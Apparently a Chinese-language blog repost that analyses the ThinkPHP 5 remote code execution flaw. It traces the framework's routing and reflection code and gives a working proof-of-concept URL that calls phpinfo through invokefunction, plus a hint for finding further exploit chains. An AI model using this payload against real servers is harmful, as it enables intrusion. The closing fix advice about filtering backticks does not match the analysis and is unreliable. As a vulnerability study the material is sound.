内容简介:迟到的关于年末爆出的tp5的RCE的分析文章。我们先来分析以下的poc分析一个MVC的框架首先最重要的一步就是要搞清楚这个框架的路由规则。我们从
迟到的关于年末爆出的tp5的RCE的分析文章。
我们先来分析以下的poc
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
分析一个MVC的框架首先最重要的一步就是要搞清楚这个框架的路由规则。我们从 index.php 开始,
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';
直接require了 ./../thinkphp/start.php ,跟入该文件
<?php // +---------------------------------------------------------------------- // | ThinkPHP [ WE CAN DO IT JUST THINK ] // +---------------------------------------------------------------------- // | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved. // +---------------------------------------------------------------------- // | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 ) // +---------------------------------------------------------------------- // | Author: liu21st <liu21st@gmail.com> // +---------------------------------------------------------------------- namespace think; // ThinkPHP 引导文件 // 1. 加载基础文件 require __DIR__ . '/base.php'; // 2. 执行应用 App::run()->send();
进入 App.php 的 run() 方法,该方法的实现主要步骤可简化为:
public static function run(Request $request = null)
{
$request = is_null($request) ? Request::instance() : $request;
try {
/*
...
*/
$dispatch = self::$dispatch;
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
/*
...
*/
$data = self::exec($dispatch, $config);
} catch (HttpResponseException $exception) {
$data = $exception->getResponse();
}
/*
...
*/
return $response;
}
路由检测位于 routeCheck($request,$config) 中,跟入该函数
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
// 路由检测
...
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();
}
}
// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
return $result;
}
routeCheck函数中首先通过 $request->path() 获取了请求的path,跟进可知该值在允许兼容模式时可以通过 $_GET[Config::get('var_pathinfo')] 获取,默认情况下即 $_GET[s] ,因此我们的poc获取到的path即为 index/\think\app/invokefunction 。之后由于路由规则中并无此规则,则进入控制器自动搜索,即 Route::parseUrl($path, $depr, $config['controller_auto_search']);
跟进parseUrl可知thinkphp在处理路由时会用 / 分割path,对应分割结果分别匹配为模块|控制器|操作|操作参数,
因此最后获取到的路由为
回到 App.php 中,
$data = self::exec($dispatch, $config);
这行操作是整个RCE实现的关键。我们跟入 exec 方法的实现
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
...
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
...
}
return $data;
}
跟入 module 方法
public static function module($result, $config, $convert = null)
{
if (is_string($result)) {
$result = explode('/', $result);
}
$request = Request::instance();
...
// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;
// 获取操作名
$actionName = strip_tags($result[2] ?: $config['default_action']);
...
try {
$instance = Loader::controller(
$controller,
$config['url_controller_layer'],
$config['controller_suffix'],
$config['empty_controller']
);
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
进入 Loader::controller 方法
public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);
if (class_exists($class)) {
return App::invokeClass($class);
}
if ($empty) {
$emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);
if (class_exists($emptyClass)) {
return new $emptyClass(Request::instance());
}
}
throw new ClassNotFoundException('class not exists:' . $class, $class);
}
跟入 App::invokeClass 方法,
public static function invokeClass($class, $vars = [])
{
$reflect = new \ReflectionClass($class);
$constructor = $reflect->getConstructor();
$args = $constructor ? self::bindParams($constructor, $vars) : [];
return $reflect->newInstanceArgs($args);
}
该方法使用 php 的反射机制返回指定类的一个对象,因此由我们的poc, Loader::controller 返回了 \think\app 类的一个实例。
继续回到 App::module 方法
$action = $actionName . $config['action_suffix'];
$vars = [];
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new \ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $config['action_suffix'];
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$request->action($actionName);
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$actionName];
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}
Hook::listen('action_begin', $call);
return self::invokeMethod($call, $vars);
}
可以看到 App::module 方法之后会判断之前生成的实例是否有对应的方法,存在的话便会设置 $call 变量为 [\think\App类的实例,'invokefunction'] ,最后调用 self::invokeMethod($call,$vars) 。跟入该方法
public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 静态方法
$reflect = new \ReflectionMethod($method);
}
$args = self::bindParams($reflect, $vars);
self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}
跟入 self::bindParams ,该方法用于获取最后执行的函数的参数
private static function bindParams($reflect, $vars = [])
{
// 自动获取请求变量
if (empty($vars)) {
$vars = Config::get('url_param_type') ?
Request::instance()->route() :
Request::instance()->param();
}
$args = [];
if ($reflect->getNumberOfParameters() > 0) {
// 判断数组类型 数字数组时按顺序绑定参数
reset($vars);
$type = key($vars) === 0 ? 1 : 0;
foreach ($reflect->getParameters() as $param) {
$args[] = self::getParamValue($param, $vars, $type);
}
}
return $args;
}
默认情况下 Config::get('url_param_type') 为0,因此 $vars 被设置为 Request::instance()->param() ,在我们的poc中 $vars 即
即为我们的请求参数。之后通过判断 $reflect 的方法中需要的参数最后返回参数列表 $args
回到 invokeMethod 方法,
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
这里调用了 $reflect 的 invokeArgs 方法,即通过反射调用 /think/App 类的 invokefunction 方法。
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
可以看到最后 invokeFunction() 相当于直接调用 call_user_func_array("phpinfo",[1])
可见整个RCE的原因便是由于thinkphp在获取控制器时过滤不足导致可以任意生成类的实例调用指定的方法而导致的。怎样获取其他的可用的RCE的poc?我们可以在 Loader::controller 方法中添加一行代码:
$t=get_declared_classes();
在这行代码后的代码处下断点调试
可以看到这些类都是tp中可用的用来RCE的类,我们只需要再多研究便可发现其他的利用链。
修复方法也是很简单粗暴,只需要过滤掉反引号即可。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 使用动态分析技术分析 Java
- 使用动态分析技术分析 Java
- 案例分析:如何进行需求分析?
- 深度分析ConcurrentHashMap原理分析
- 如何分析“数据分析师”的岗位?
- EOS源码分析(3)案例分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
屏幕上的聪明决策
Shlomo Benartzi、Jonah Lehrer / 石磊 / 北京联合出版公司 / 2017-3 / 56.90
为什么在手机上购物的人,常常高估商品的价值? 为什么利用网络订餐,人们更容易选择热量高的食物? 为什么网站上明明提供了所有选项,人们却还是选不到最佳的方案? 屏幕正在改变我们的思考方式,让我们变得更冲动,更容易根据直觉做出反应,进而做出错误的决策。在《屏幕上的聪明决策》一书中,什洛莫·贝纳茨教授通过引人入胜的实验及案例,揭示了究竟是什么影响了我们在屏幕上的决策。 ......一起来看看 《屏幕上的聪明决策》 这本书的介绍吧!